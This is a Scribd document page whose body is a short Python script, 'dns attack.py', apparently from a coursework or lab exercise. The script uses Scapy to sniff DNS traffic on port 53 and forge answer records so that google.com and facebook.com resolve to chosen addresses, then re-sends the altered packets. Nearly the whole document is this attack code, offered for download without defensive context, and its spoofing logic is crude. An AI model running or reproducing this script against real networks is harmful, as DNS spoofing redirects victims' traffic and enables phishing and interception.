0% found this document useful (0 votes)
4 views1 page

Dns Attack - Py

The document contains a Python script that implements a DNS packet sniffer and modifier using the Scapy library. It listens for DNS queries and modifies the responses based on a predefined mapping of hostnames to IP addresses. The script logs the original and modified packets, and handles errors during packet processing.

Uploaded by

trupti.dhandar64
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
4 views1 page

Dns Attack - Py

The document contains a Python script that implements a DNS packet sniffer and modifier using the Scapy library. It listens for DNS queries and modifies the responses based on a predefined mapping of hostnames to IP addresses. The script logs the original and modified packets, and handles errors during packet processing.

Uploaded by

trupti.dhandar64
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
You are on page 1/ 1

dns attack.

py - 2c

import logging as log


from scapy.all import *

class DnsSnoof:
def __init__(self, host_dict):
self.host_dict = host_dict

def __call__(self):
log.info("Snoofing....")
# Sniff DNS packets
sniff(filter="udp and port 53", prn=self.callback)

def callback(self, packet):


if packet.haslayer(DNSRR):
try:
log.info(f'[original] {packet[DNSRR].summary()}')
query_name = packet[DNSQR].qname
if query_name in self.host_dict:
# Modify DNS response
packet[DNS].an = DNSRR(rrname=query_name,
rdata=self.host_dict[query_name])
packet[DNS].ancount = 1
# Remove existing checksums and lengths for recalculation
del packet[IP].len
del packet[IP].chksum
del packet[UDP].len
del packet[UDP].chksum
log.info(f'[modified] {packet[DNSRR].summary()}')
# Send modified packet
send(packet)
else:
log.info(f'[not modified] {packet[DNSRR].rdata}')
except IndexError as error:
log.error(f'Error handling packet: {error}')

if __name__ == '__main__':
try:
host_dict = {
b"google.com.": "142.250.70.78",
b"facebook.com.": "31.13.79.35"
}
# Configure logging
log.basicConfig(format='%(asctime)s - %(message)s', level=log.INFO)
# Create an instance of DnsSnoof and call it
dns_snoof = DnsSnoof(host_dict)
dns_snoof()
except OSError as error:
log.error(f'Error: {error}')

You might also like